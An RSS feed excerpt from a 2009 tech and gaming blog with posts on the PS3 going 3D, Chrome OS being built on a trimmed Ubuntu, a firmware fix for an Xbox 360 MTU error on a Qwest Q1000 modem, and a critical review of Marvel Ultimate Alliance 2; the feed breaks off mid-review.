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	<title>The Break it Down Blog</title>
	
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		<title>Sony PS3 Will Deliver 3D Experience After All</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/jHbgKVF_yJk/</link>
		<comments>http://www.breakitdownblog.com/sony-ps3-will-deliver-3d-experience-after-all/#comments</comments>
		<pubDate>Thu, 19 Nov 2009 23:24:59 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Gaming]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[3D]]></category>
		<category><![CDATA[future]]></category>
		<category><![CDATA[Playstation 3]]></category>
		<category><![CDATA[PS3]]></category>
		<category><![CDATA[Sony]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6655</guid>
		<description><![CDATA[
We speculated back in August that the stars were starting to align for Sony around a Motion-controlled/3D future for the PS3. Our confidence in this fact centered around the recent motion-controlled demonstration that Sony gave for the PS3 at E3. Combined with the never-used EyeToy camera, what Sony was showing off looked comparable, if not [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/11/sony-ps3-3d-announcement.png"><img class="size-large wp-image-6656 aligncenter" title="sony-ps3-3d-announcement" src="http://www.breakitdownblog.com/wp-content/uploads/2009/11/sony-ps3-3d-announcement-500x266.png" alt="sony-ps3-3d-announcement" width="500" height="266" /></a></p>
<p><a href="http://www.breakitdownblog.com/ps3-may-win-years-from-now-with-3d-and-motion-control/">We speculated back in August</a> that the stars were starting to align for Sony around a Motion-controlled/3D future for the PS3. Our confidence in this fact centered around the recent <a href="http://www.youtube.com/watch?v=qiX-26VL4bM">motion-controlled demonstration that Sony gave for the PS3 at E3</a>. Combined with the never-used EyeToy camera, what Sony was showing off looked comparable, if not better, than the motion control that Nintendo has been trying to sell us for years.</p>
<p>Coupled with the belief that the <a href="http://en.wikipedia.org/wiki/RSX_'Reality_Synthesizer'">NVIDIA RSX platform</a> shared quite a bit of tech with the eventual NVIDIA 8xxx series which <em>does</em> currently support 3D via the new <a href="http://www.nvidia.com/object/3D_Vision_Overview.html">3D Vision product</a>, we guessed that in very short order (2010-ish) Sony would begin promoting a 3D future for the PS3 when coupled with <a href="http://www.amazon.com/gp/search/ref=sr_nr_n_1?rh=n:172282,k:120hz+lcd,n:!493964,n:1266092011&amp;bbn=493964&amp;keywords=120hz+lcd&amp;ie=UTF8&amp;qid=1258672435&amp;rnid=493964">120hz</a> or <a href="http://www.mitsubishi-tv.com/theater.html">3D-capable televisions</a>.</p>
<p><a href="http://kotaku.com/5408308/sony-to-upgrade-ps3-consoles-to-3d">Kotaku</a> covered details from a recent Sony presentation in which they did exactly that &#8212; specifying that all existing PS3s on the market can be made 3D capable with a firmware update. Sony expressed a desire to roll out such an upgrade by the end of 2010 to all existing and new PS3s. The entire rollout looking something like this:</p>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/11/sony-ps3-3d-strategy-for-2010.png"><img class="size-large wp-image-6657 aligncenter" title="sony-ps3-3d-strategy-for-2010" src="http://www.breakitdownblog.com/wp-content/uploads/2009/11/sony-ps3-3d-strategy-for-2010-500x267.png" alt="sony-ps3-3d-strategy-for-2010" width="500" height="267" /></a></p>
<p>This move by Sony would certainly get them out of the rat-race with Microsoft and the more multiplayer-friendly that is the Xbox 360 &#8212; a hardware move like this, if successful (as proved it can be by Nintendo), would force Microsoft into another hardware revision of the Xbox family in order to compete.</p>
<p>While Microsoft is bringing image-recognition-based motion control to market shortly with <a href="http://www.xbox.com/en-US/live/projectnatal/">Project Natal</a>, there are still no plans to cater to the 3D market&#8230; assuming there is one.</p>
<p>We are going to make another prediction right now and say that there <em>will not be a significant 3D gamers market until <strong>after</strong> 2012</em>. We aren&#8217;t basing that on any Mayan calendars or end-of-days premonitions, just our own experience with 3D and how solidly unimpressive it was.</p>
<p>We were at PAX 2009 this year and spent some time at the NVIDIA booth, watching Resident Evil 5 with the NVIDIA Vision glasses. The NVIDIA employee went out of his way to explain that Resident Evil 5 was &#8220;built from the ground up to fully utilize this 3D technology&#8221;.</p>
<p>We put the glasses on and expected to be amazed but were instead greeted with an experience that was lacking in all the ways 3D experiences typically are:</p>
<ul>
<li>Shifting your angle of view caused visual anomolies that you are likely used to if you&#8217;ve been to a 3D movie.</li>
<li>There is some visual &#8216;leap of faith&#8217; required to try and immerse yourself in the 3D experience, because the scene and some of the items in it look <em>odd</em>.</li>
<li>3D visualization of games that only expect 1 Point-of-View really exacerbates how &#8220;flat&#8221; a scene will look &#8212; sort of like the different layers of a scene in Little Big Planet sliding by each other.</li>
</ul>
<p>There just wasn&#8217;t any significant shift in the experience for me to think that it was worth the $200 glasses or a $2400 TV to experience it.</p>
<p>Given this is 3D 1.0, and we&#8217;re bound to see electronics manufacturers play with different ideas until one &#8220;sticks&#8221;, I would not expect a solid 3D gaming market/experience until 2014 &#8212; some experience that is so <em>expected</em> that all the triple A titles are shipping with support for it.</p>
<p>And oddly enough, 2014/15 is the timeline Sony was looking at for the Playstation 4, and we&#8217;ll most likely be seeing the 3rd revision of the Xbox 360 by then as well.</p>
<p>Mainstream 3D is years away, but it will come.</p>
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		<item>
		<title>Google Chrome OS Based on Ubuntu</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/OfTJNFrwrSI/</link>
		<comments>http://www.breakitdownblog.com/google-chrome-os-based-on-ubuntu/#comments</comments>
		<pubDate>Thu, 19 Nov 2009 18:21:51 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[announcement]]></category>
		<category><![CDATA[Chrome OS]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6646</guid>
		<description><![CDATA[
As we type this Google is in the process of announcing their new Chrome OS operating system at a Google Event (TechCrunch Live Coverage). Just like the Chrome browser is based on the Chromium OS project, Chrome OS will be based on the Chromium OS project.
Glancing around the source repository for Chromium OS it looks [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center; "><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/11/google-chrome-logo.jpg"><img class="size-full wp-image-6647 aligncenter" title="google-chrome-logo" src="http://www.breakitdownblog.com/wp-content/uploads/2009/11/google-chrome-logo.jpg" alt="google-chrome-logo" width="430" height="307" /></a></p>
<p>As we type this Google is in the process of announcing their new Chrome OS operating system at a Google Event (<a href="http://www.techcrunch.com/2009/11/19/chrome-os-event/">TechCrunch Live Coverage</a>). Just like the Chrome browser is based on the Chromium OS project, Chrome OS will be based on the Chromium OS project.</p>
<p>Glancing around the <a href="http://src.chromium.org/">source repository for Chromium OS</a> it looks like the operating system is u<a href="http://src.chromium.org/cgi-bin/gitweb.cgi?p=chromiumos.git;a=blob;f=src/package_repo/repo_list_dev.txt;h=7be40563a58172d5dced5c30db5ca3e439c18448;hb=HEAD">nsurprisingly based on Linux</a> and more specifically based on a severely trimmed down Ubuntu build.</p>
<p>One oddity I noticed in the package listing was the inclusion of XUL Runner 1.9 (<em>xulrunner-1.9 1.9.0.11+build2+nobinonly-0ubuntu1</em>), which is the Mozilla platform for the Firefox browser. It&#8217;s entirely possible that XUL is in there as a dependency of one of the other libraries though.</p>
<p>Right now without more time spent with the OS, it looks like Google is taking a NetBook QuickStart-OS type of approach. You boot your laptop up, it boots just enough Linux to get you to a desktop and spins up a Chrome instance for you and you&#8217;re off to the races.</p>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/11/chrome-os-screenshot.jpg"><img class="size-large wp-image-6648 aligncenter" title="chrome-os-screenshot" src="http://www.breakitdownblog.com/wp-content/uploads/2009/11/chrome-os-screenshot-500x375.jpg" alt="chrome-os-screenshot" width="500" height="375" /></a></p>
<p>There have been a handful of mockup &#8220;screenshots&#8221; or people&#8217;s renditions of what they think the OS will look like online, with some of the more plausible looking ones looking more like the one above and showing off a <em>very simple</em> desktop that is essentially a desktop with a quick launch bar for all the web-based products Google ships (Gmail, YouTube, Reader, Maps, etc.)</p>
<p><strong>Update #5</strong>: Here a demo of the current Chrome OS UI &#8212; although Google mentioned that Chrome OS is still 1 year away from release and right now this is the UI they are working with:</p>
<p><a href="http://www.breakitdownblog.com/google-chrome-os-based-on-ubuntu/"><em>Click here to view the embedded video.</em></a></p>
<p>We&#8217;ll post more as the event unfolds and gives us more details. So far though, given our affinity for Chrome as a browser and the power of Gmail, Google Docs and Maps all for an average computer user &#8212; this looks like a solid NetBook win across the board even if they do nothing more.</p>
<p><strong>Update #1</strong>: Quote from Google Chrome team member:</p>
<blockquote><p>It’s been a year. We just announced we’re over 30 million users – and now we’re already over 40 million users.</p></blockquote>
<p>Jesus, had no idea they had already rolled out to that many users, if I had to guess, I would have said 5-10 million <strong>at most</strong> were Chrome users. Congrats!</p>
<p><strong>Update #2</strong>: Very interesting approach for Chrome OS and compelling as shit for NetBooks:</p>
<blockquote><p><span style="color: black;">In Chrome OS every application is a web application. There are no native applications. </span>That gives us simplicity. It’s just a browser with a few modifications. <span style="color: black;">And all data is Chrome OS is in the cloud</span>. This is key, we want all of personal computing to work this way. If you lose your machine, you just get a new one, and it works.</p></blockquote>
<p>Also looks like for security, everything is a webapp and runs inside the browser&#8217;s security model, so no concern of installed viruses or anything like that.</p>
<p>(well, not until someone figures one out in JavaScript)</p>
<p><strong>Update #3</strong>: A handy video explaining the security model behind Chrome OS:</p>
<p><a href="http://www.breakitdownblog.com/google-chrome-os-based-on-ubuntu/"><em>Click here to view the embedded video.</em></a></p>
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		<title>How to Fix the Xbox 360 “MTU Too Low” Problem with the Qwest Actiontec Q1000 DSL Modem</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/oc49C6GSElc/</link>
		<comments>http://www.breakitdownblog.com/how-to-fix-the-xbox-360-mtu-too-low-problem-with-the-qwest-actiontec-q1000-dsl-modem/#comments</comments>
		<pubDate>Thu, 29 Oct 2009 05:27:44 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Gaming]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Actiontec]]></category>
		<category><![CDATA[DSL]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[MTU]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[Q1000]]></category>
		<category><![CDATA[Qwest]]></category>
		<category><![CDATA[Xbox 360]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6637</guid>
		<description><![CDATA[NOTE: If you are coming to this article after Googling the subject in frustration, here&#8217;s the quick-fix for you: Upgrade the modem&#8217;s firmware to QAQ01-31.00L.33 or later and you should be fine.
Qwest has been rolling their new high-speed fiber-optic DSL service out throughout Denver and Arizona for the last year or so (it&#8217;s not fiber-to-the-house, [...]]]></description>
			<content:encoded><![CDATA[<p><strong>NOTE</strong>: <em>If you are coming to this article after Googling the subject in frustration, here&#8217;s the quick-fix for you: Upgrade the modem&#8217;s firmware to QAQ01-31.00L.33 or later and you should be fine.</em></p>
<p>Qwest has been rolling their new <a href="http://www.qwest.com/residential/internet/broadbandlanding/">high-speed fiber-optic DSL service</a> out throughout Denver and Arizona for the last year or so (it&#8217;s not fiber-to-the-house, but with 40mbps available, who cares?). I&#8217;ve been a happy Qwest DSL client for about 3 years now &#8212; no complaints and more importantly &#8212; no outages.</p>
<p>When the fiber service started rolling out with speeds of 12mbps and 20mbps offered, I would reflexively crap my pants and throw myself into jealous rages because it wasn&#8217;t available in my area &#8212; that all changed last week.</p>
<p>Not only has Qwest rolled out fiber in my area, they also rolled out a new 40mbps/20mbps service as well for $115/mo &#8212; that doesn&#8217;t have any bearing on this post, it&#8217;s just awesome.</p>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/qwest-actiontec-q1000-dsl-modem.png"><img class="size-full wp-image-6638 aligncenter" title="qwest-actiontec-q1000-dsl-modem" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/qwest-actiontec-q1000-dsl-modem.png" alt="qwest-actiontec-q1000-dsl-modem" width="425" height="268" /></a></p>
<p>Anyway, I ordered the 20mbps/5mbps service which required an upgrade to the <a href="http://www.qwest.com/internethelp/modems/q1000/">Actiontec Q1000 Qwest-branded modem</a>. This is a Gigabit-capable 4-port modem with Wireless-N capabilities &#8212; I&#8217;ve had Actiontec equipment in the past from Qwest and it was garbage &#8212; replaced within months by 2wire which worked much better. Fortunately after a week with this Q1000 it looks like Actiontec may have cleaned some things up, the modem works fine with some basic firewall, port forwarding and advanced routing rules &#8212; this was something the older Actiontec modem that Qwest was selling couldn&#8217;t no &#8212; no joke, it literally couldn&#8217;t employ port forwarding rules AND the firewall at the same time &#8212; fail.</p>
<p>Anyway, after getting the Q1000 setup and the service enabled, I hooked my Xbox 360 via a WAP (I&#8217;ll give a review of later) and when I tried to get the Xbox online, I would get an error similar to the following:</p>
<blockquote><p>Unable to connect to Xbox live, the MTU setting of your router is less than 1365 and must be increased. Please fix the problem and try again.</p></blockquote>
<p>There is literally no MTU setting anywhere on the Q1000 &#8212; and reading through <a href="http://www.dslreports.com/forum/r22812416-ActionTec-Q1000-Xbox-Live-Problem">some other threads online</a>, folks had suggestions ranging from disabling uPnP all the way to manually changing the MTU settings on your Windows machine (yea, I have no idea how they thought that would help).</p>
<p>As the threads went on, more and more folks said upgrading the firmware did the trick for them and magically the Xbox 360 started working again without any problems.</p>
<p>This sounded easy enough, but believe it or not, I was actually confused by the <em>Upgrade Firmware</em> screen on the Q1000 &#8212; on the older 2wire I had, there was a button that I clicked that would check the firmware against the remotely available version and then upgrade it if available &#8212; it also automatically upgraded itself <em>constantly</em> too (which got annoying after a while).</p>
<p>On the Q1000, there is simply a <strong>Download</strong> button and you end up with a file that has no identifying name or type, just <em>firmware</em>.</p>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/qwest-actiontec-q1000-firmware-upgrade-screen.png"><img class="size-large wp-image-6639 aligncenter" title="qwest-actiontec-q1000-firmware-upgrade-screen" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/qwest-actiontec-q1000-firmware-upgrade-screen-500x435.png" alt="qwest-actiontec-q1000-firmware-upgrade-screen" width="500" height="435" /></a></p>
<p>Believe it or not, this s all fine &#8212; and it worked great. So I&#8217;ll give you the instructions on how to update your firmware incase you are bamboozled by this &#8212; and get your Xbox 360 back online:</p>
<ol>
<li>Go to <a href="http://192.168.0.1">192.168.0.1</a> (or whatever IP address you gave your modem)</li>
<li>Login to your modem &#8212; I believe the default credentials are &#8220;admin&#8221; or &#8220;admin&#8221;/&#8221;admin&#8221; or just try password &#8220;admin&#8221; &#8212; it&#8217;s one of those.</li>
<li>Go to <em>Utilities</em></li>
<li>Click <em>Upgrade Firmware</em> in the left menu</li>
<li>Click the <strong>Download</strong> button in section #1 &#8212; you will likely be prompted to safe a file named &#8220;firmware&#8221;, save it anywhere on your local computer.</li>
<li>Now scroll down to section #2, and click the <strong>Browse</strong> button and select that &#8220;firmware&#8221; file you saved.</li>
<li>Now scroll down to section #3, and click the <strong>Upgrade Firmware</strong> button, this will upload the file you just saved and apply it then restart the modem</li>
</ol>
<p>And you should be all set. Let us know if you run into any problems. Happy gaming!</p>
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		<title>Marvel Ultimate Alliance 2 (Xbox 360) Review</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/QcSX_RAQ--A/</link>
		<comments>http://www.breakitdownblog.com/marvel-ultimate-alliance-2-review/#comments</comments>
		<pubDate>Wed, 28 Oct 2009 04:10:41 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Gaming]]></category>
		<category><![CDATA[Black Widow]]></category>
		<category><![CDATA[buggy]]></category>
		<category><![CDATA[comics]]></category>
		<category><![CDATA[Deadpool]]></category>
		<category><![CDATA[Marvel]]></category>
		<category><![CDATA[review]]></category>
		<category><![CDATA[Ultimate Alliance 2]]></category>
		<category><![CDATA[Wolverine]]></category>
		<category><![CDATA[X-Men]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6478</guid>
		<description><![CDATA[
Summary [5.5 out of 10]
A sequel to the 2006 original, Marvel Ultimate Alliance 2 offers up a hybrid Secret War/Civil War storyline and the same four character, top down beat-em-up action found in the first game and the X-men Legends titles before it. Vicarious Visions left the basic game play alone and streamlined the interface [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-xbox-box-art-front.jpg"><img class="size-full wp-image-6623 aligncenter" title="marvel-ultimate-alliance-2-xbox-box-art-front" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-xbox-box-art-front.jpg" alt="marvel-ultimate-alliance-2-xbox-box-art-front" width="354" height="500" /></a></p>
<h3>Summary [5.5 out of 10]</h3>
<p>A sequel to the 2006 original, Marvel Ultimate Alliance 2 offers up a hybrid Secret War/Civil War storyline and the same four character, top down beat-em-up action found in the first game and the X-men Legends titles before it. <a href="http://www.vvisions.com/">Vicarious Visions</a> left the basic game play alone and streamlined the interface to attempt to fix the few issues the previous game had. Sadly, this attempt failed and a decent chunk of enjoyment was streamlined instead. Add to that a host of bugs and technical issues and you have a title that should have been a sure thing turns into a fumbling attempt at home plate before you&#8217;ve  even bought the girl dinner.</p>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-screenshot-akimbo-guns.jpg"><img class="size-full wp-image-6625 aligncenter" title="marvel-ultimate-alliance-2-screenshot-akimbo-guns" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-screenshot-akimbo-guns.jpg" alt="marvel-ultimate-alliance-2-screenshot-akimbo-guns" width="490" height="279" /></a></p>
<h3>Introduction</h3>
<p>I really loved the first <a href="http://en.wikipedia.org/wiki/Marvel:_Ultimate_Alliance">Marvel Ultimate Alliance</a>. I didn&#8217;t really get into X-men Legends mostly because I got frustrated by the terrible teammate AI, but everything the X-men games bungled, Ultimate Alliance did well. It had a great story, branching endings, varied characters, a wide variety of stages, tons of unlockables, and a preponderance of awesome goodies for fans of Marvel comics. It was just loaded with content and I played it over and over to find everything and use everyone I could. It wasn&#8217;t perfect. The User Interface(UI) wasn&#8217;t great and leveling could be tedious. The item collection was a cool idea but got confusing and bothersome to keep up with. Overall though, the game was awesome.</p>
<p>So by all rights MUA2 should have killed. Word was the UI was fixed and everything would be smoother and more user friendly. Somewhere along the line, and I think it was at that part in the line where the developers look at the calendar and realize they are running out of time fast, things went really wrong.  They didn&#8217;t really monkey with the core gameplay terribly much aside from adding Fusion powers which allows two characters to use their powers in conjunction with each other for a more devastating special move. That is pretty cool and is a neat addition, although it paves the way for some frustration but I will get to that later.</p>
<p>Where the developers really went wrong here is that there was a lot of half-assing going on. They tried to fix the item issue with boosts, but those are just as annoying and tedious as the items were. They tried to streamline the UI but managed to make things even more frustrating on one level and feel incomplete on the other. Also they forgot to make it very fun.</p>
<h3>The Great</h3>
<ul>
<li>Deadpool:  If Deadpool hadn&#8217;t been in this game I would have probably stopped playing pretty early on. He is funny in his quips in-game and his discussions with other characters are amusing and on point with the character. His moves and powers are awesome and his healing factor means he can stay in the game a lot better than a lot of the other characters. Even other characters with healing factors don&#8217;t pan out as well, like Wolverine some how manages to go down for the count quicker than anyone reading this would against Mike Tyson. This game is the best evidence I could give that Deadpool needs his own game and it needs not to suck.</li>
</ul>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-screenshot-deadpool.jpg"><img class="size-full wp-image-6626 aligncenter" title="marvel-ultimate-alliance-2-screenshot-deadpool" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-screenshot-deadpool.jpg" alt="marvel-ultimate-alliance-2-screenshot-deadpool" width="500" height="462" /></a></p>
<h3>The Good</h3>
<ul>
<li>Gameplay: The core gameplay mechanics work pretty well. If you love running around beating things up with a sprinkle of cool visual effects, you are generally in good hands here.</li>
</ul>
<ul>
<li>Graphics: The visuals are mostly good. There are times when it looks REALLY good and other times, not so much. Some of the cut scenes are iffy but generally the graphics are good.</li>
</ul>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-screenshot-ironman-songbird.jpg"><img class="size-large wp-image-6627 aligncenter" title="marvel-ultimate-alliance-2-screenshot-ironman-songbird" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-screenshot-ironman-songbird-500x281.jpg" alt="marvel-ultimate-alliance-2-screenshot-ironman-songbird" width="500" height="281" /></a></p>
<ul>
<li>Character Interaction: They could have done more with the branching conversations like Mass Effect, but the conversations with other characters are cool and change depending on who you are using and who you are talking to. Spider-man talking to the Green Goblin is great and is one of the &#8216;Key Conversations&#8217; which will net you an achievement or trophy if you get 10 of them. There is some cool comic background stuff that happens here without getting to be too inside baseball and it is a nice addition. This isn&#8217;t much different than the first game aside from being able to be aggressive, defensive or diplomatic but in this game keeping things the same is a definite plus.</li>
</ul>
<ul>
<li>Trivia: The trivia game is cool and adds a bit of a time crunch in for you. You can compete against other players if you aren&#8217;t alone and it becomes a bit like You Don&#8217;t Know Jack: Marvel Comics without Buzz or Cookie making wisecracks. I am a comics geek so I dig the trivia. The game pretty much supplies all the answers to these questions if you pay attention during loading screens and, well, the game.</li>
</ul>
<ul>
<li>Multi-player: Like the first one, MUA2 supports both local and online multi-player. This REALLY makes the game more fun. Four people can play at once and having other people control your characters rather than the game&#8217;s AI is always better. Not only can you do more and do it better with real people actually making good choices, but you have someone to talk to when things get repetitive or a boss fight takes 20 minutes for no apparent reason whatsoever.</li>
</ul>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-screenshot-wolverine-gambit.jpg"><img class="size-large wp-image-6628 aligncenter" title="marvel-ultimate-alliance-2-screenshot-wolverine-gambit" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-screenshot-wolverine-gambit-500x281.jpg" alt="marvel-ultimate-alliance-2-screenshot-wolverine-gambit" width="500" height="281" /></a></p>
<ul>
<li>Roster of Characters: The game features a lot of characters to play and interact with and not all of them are the mainstream sort you would normally find in a game like this. Like the first one, this game makes the most out of its license and it is really cool to see video game representations of characters I never thought I would see in a game. It would be nice if there were more that were playable but it was good to just get to see so many of them around. If you are a Marvel comics fan you will probably not be disappointed with the characters here.</li>
</ul>
<ul>
<li>Cut Scenes: While some of the graphics can be iffy, the cut scenes are generally pretty cool, particularly the ones that show key moments from the Civil War comics. Captain America jumping out of a heli-carrier window and commandeering a jet looks just about as cool in motion as I thought it would and seeing Nitro blow Stamford to hell was pretty awesome. This reinforces my belief that they should make an animated movie of Civil War.</li>
</ul>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-screenshot-civil-war-comic.jpg"><img class="size-full wp-image-6629 aligncenter" title="marvel-ultimate-alliance-2-screenshot-civil-war-comic" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-screenshot-civil-war-comic.jpg" alt="marvel-ultimate-alliance-2-screenshot-civil-war-comic" width="500" height="340" /></a></p>
<h3>The Bad</h3>
<ul>
<li>The Bugs: First and foremost, the bugs are the downfall of this game. I have a lot of complaints but this was the big one. I am not sure how this thing got out of beta testing let alone finding its way to store shelves. This thing is buggier than a new Microsoft Operating System. For one thing, you can&#8217;t turn the auto-leveling feature off without turning it off and taking away a point from something and then putting it back. Otherwise, it will just turn itself back on every time you leave the menu. That is just annoying, but some of the other bugs are worse. Like when I did a guided Fusion with Wolverine and Spider-man that, when it ended,  melded them together like conjoined twins if one of the twins rode on the other&#8217;s back while flashing in and out of existence.Or the one at the end of the Wakanda level where the Green Goblin disappears and you just keep fighting a steady stream of bad guys forever. I went for an hour and leveled up something like six times. I eventually looked it up online to make sure it was a glitch. Sure it seemed obvious but I couldn&#8217;t imagine such a big problem making it to retail. It did. You have to turn your system off and back on to fix this. Sometimes, according to things I read on a message board, you have to do this multiple times. Then there are little things like beating everyone in a room to open the door to the elevator and the door doesn&#8217;t open&#8230;and the one you came in is closed off too so you are just stuck in the room until you reboot the game. Or when the game will stop in the middle of ANYTHING you are doing to load and then do it again and again for about an hour. Or when you perform a successful targeted Fusion so you can get a healing token to bring one of your characters back and the game arbitrarily doesn&#8217;t give it to you.  I could go on as there are more bugs but you get the point. The game has been out almost a month and there have been no patches. For shame.</li>
</ul>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-screenshot-goblin.jpg"><img class="size-full wp-image-6630 aligncenter" title="marvel-ultimate-alliance-2-screenshot-goblin" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-screenshot-goblin.jpg" alt="marvel-ultimate-alliance-2-screenshot-goblin" width="400" height="398" /></a></p>
<ul>
<li>Unskippable cut scenes: Yeah I praised the cut scenes above and I stand by that, but I was talking about the first time you see them. When you just died because of some cheap bullshit or because you have just had to restart or reboot because of one of the many bugs, you don&#8217;t want to sit through the same cut scene over and over. I know that the game is loading behind these scenes and that is why you can&#8217;t skip but it is a huge pain and is reflective of bad game design.</li>
</ul>
<ul>
<li> Civil War Storyline: Okay, so I am not a hater on the Civil War story at all but using it for this game created a lot of problems. For one, it limited the characters that could be used at any given time. For another it locked the story into a sort of static framework that kept the variety out altogether. The storyline for the first game was kind of crazy and sprawled all over everwhere, from Atlantis to Asgard and Latvaria to Hell. This game has a lot of labs, warehouses and city streets. Not much variety to be found in the locations and it is mostly because of the story. Also, the branching of the story, where you have to choose Pro or Anti Registration forces you into another play through to unlock all the characters and see everything there is to see. If you save your game before you choose, you can just go back and make a different choice but you have to unlock everything again. So if you don&#8217;t have Thor, Hulk or Jean Grey yet before that save then you have to get them again. The alternative is to play again at a higher difficulty which has you retreading a lot of the game before you get to the choice and only really gives you a handful of new stages, which aren&#8217;t really new as much as just mirrors of the ones you already did. Some cool things could have been done with this but weren&#8217;t.</li>
</ul>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-screenshot-roster-of-heros.jpg"><img class="size-large wp-image-6631 aligncenter" title="marvel-ultimate-alliance-2-screenshot-roster-of-heros" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-screenshot-roster-of-heros-500x281.jpg" alt="marvel-ultimate-alliance-2-screenshot-roster-of-heros" width="500" height="281" /></a></p>
<ul>
<li>Streamlining: The first game had a ton of cool stuff to collect. Every character had four extra costumes, each with their own bonuses and attributes. There were different powers for your characters you could assign based on your preference and a lot of cool things to find. This game gives you one alternate costume per character and only about four of those are worth having. Each character only has four powers and that is it. No choice here whatsoever. Also, because of the auto-leveling bug, manual point distribution is more tedious.</li>
</ul>
<ul>
<li>Boss Battles: While some of these are cool, the majority of them drag on forever and are more of a chore than they are challenging. When you add in the fact the game will actively screw you out of healing tokens when you&#8217;ve earned them and you end up having to replay the fight it really sucks. Given that boss fights are supposed to be exciting and intense, to have them be boring is never a good sign. I hate the boss fights in this game generally just because I knew I was going to have to be doing the same thing over and over for a really long time. Build up fusion meter, perform target fusion, repeat for what seems like four hours. Thanks a bunch Titanium Man.</li>
</ul>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-screenshot-titanium-man.jpg"><img class="size-large wp-image-6632 aligncenter" title="marvel-ultimate-alliance-2-screenshot-titanium-man" src="http://www.breakitdownblog.com/wp-content/uploads/2009/10/marvel-ultimate-alliance-2-screenshot-titanium-man-499x188.jpg" alt="marvel-ultimate-alliance-2-screenshot-titanium-man" width="499" height="188" /></a></p>
<ul>
<li>Healing/revival system: I understand what the designers were trying to do here. In the first game, in order to revive a fallen character you had to wait until you got to one of the hubs scattered around that would let you revive characters, teleport back to base or switch out characters. Here you can change characters on the fly and revive a character with a health token. The problem is, unless the game randomly decides to bestow a token on you, the only way to get it is to pull off a successful fusion. If you do a clearing fusion, typically you need to hit between 15-10 enemies to get a token. The guided is pretty much the same way and a targeted fusion you need to hit someone important. So that is no big deal generally except that this is the ONLY way to revive a character and you can ONLY do a fusion when you have two characters. So if three of your guys get taken out, and the magical healing token fairy doesn&#8217;t give you any, you are out of luck unless you make it to the end of the level. The other option is to just let the last guy die and do stuff over again and hope that you are better this time or that there are no more bugs.</li>
</ul>
<ul>
<li>Balancing: I understand the need to balance the characters so that each one is playable but I absolutely refuse to believe that a pantywaist like Shocker is going to take out the Hulk. The way the balancing works, there is little difference between a lot of the characters. It doesn&#8217;t really matter that much if you are playing Iron Man instead of Miss Marvel or Iron Fist instead of Daredevil. They all just sort of break down to projectile vs melee or flying vs ground based. There are a few characters that stand out and seem more effective but in general, a lot of the characters are interchangeable and the repetition of fusions further highlights the problem. Also whoever decided that Wolverine should be on death&#8217;s door the second you take him over is an idiot. Seriously, he is supposed to be the best at what he does. In this game what he does is go down like a bitch.</li>
</ul>
<ul>
